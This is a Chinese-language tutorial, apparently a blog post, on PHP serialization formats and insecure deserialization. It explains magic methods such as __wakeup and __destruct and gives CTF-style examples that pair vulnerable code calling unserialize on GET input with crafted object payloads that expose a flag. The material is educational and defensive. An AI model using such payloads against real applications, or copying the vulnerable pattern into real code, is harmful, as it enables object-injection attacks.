<boolean(b)型态> : <值(0或1)>
b:0
或 b:1
<interger(i)型态> : <值 -2147483648~2147483647>
i:666
<string(s)型态> : <名称长度> : <名称>
s:4:"Baba"
<array(a)型态> : <array 长度> : { key ; value ; key ; value .....}
a:2:{i:1;s:3:"iam",i:2;s:4:"Baba"}
['A' => 123, 2 => 'aaa']
会变为 a:2:{s:1:"A";i:123;i:2;s:3:"aaa";}
Object (o) 型态 : <object 名称长度> : <properties 数量> : {key; value; key; value; ...}
,其中:
%00*%00<property名称>
%00<class名称>%00<property名称>
Object 的 method 不会被序列化。
e.g.
class Babaobject{
public $iam;
public $Baba = 666;
protected $not = "QAQ";
private $you = True;
}
O:10:"Babaobject":4:{s:3:"iam";N;s:4:"Baba";i:666;s:6:"%00*%00not";s:3:"QAQ";s:15:"%00Babaobject%00you";b:1;}
protected $not = "QAQ";
序列化後,直接印出会看到 s:6:"*not";s:3:"QAQ"
;而 private $you = True;
序列化後,直接印出会看到 s:15:"Babaobjectyou";b:1;
。之所以会看不到 %00
,是因为在 ascii 中 %00
为空字元,因此无法显示,但在计算长度时仍可看出其确实存在,因而会比显示的字元多 2 个字。(因此会看到 *not
的长度是 6
)<Null (n) 型态>
N
常见型
在 PHP 中,有许多 magic method 会在特定条件下自动执行,例如:
__wakeup
:反序列化时触发__sleep
:序列化时触发__destruct
:物件删除时触发举例来说,如下的程序码收到 网址?data=O:4:"Flag":0:{}
时,会反序列化出 Flag 物件,并印出 flag。
<?php
require('secret.php');
class Flag {
function __wakeup() {
global $flag;
echo $flag;
}
}
unserialize($_GET['data']);
有些时候我们可以利用窜改资料来达成目的,例如下方的例子,可以看出正常情况下 Flag
物件中的属性 u
会是一个 User
实例,但我们反序列化时可以改成 Admin
,像是这样 O:4:"Flag":1:{s:1:"u";O:5:"Admin":0:{}}
,如此便能拿到 flag。
<?php
require('secret.php');
class Flag {
function __construct() {
$this->u = new User();
}
function __destruct() {
$this->u->flag();
}
}
class User {
function flag() {
echo "No flag for ya~";
}
}
class Admin {
function flag() {
global $flag;
echo "Here you go: {$flag}";
}
}
unserialize($_GET['data']);
原生型
phar 型
>>: [Day 20] Sass - Using @extend
前言 前一篇搞定 Ubuntu 作业系统的安装,接下来我们继续安装『机器学习』的相关软件及工具,包括...
废话不多说,直接附上code 影片含有程序码详细解说,若有误再烦请告知,谢谢 library(glm...
昨天抱病撰文,终於在本机端将单笔资料透过ORM的方法,成功将新增的订单资料更新到Heroku Pos...
本篇同步发文於个人网站: A First Set of Refactorings This arti...
那麽接续昨天的阅读,我们继续看下去~ 文件 文件原文:Cache and TLB Flushing ...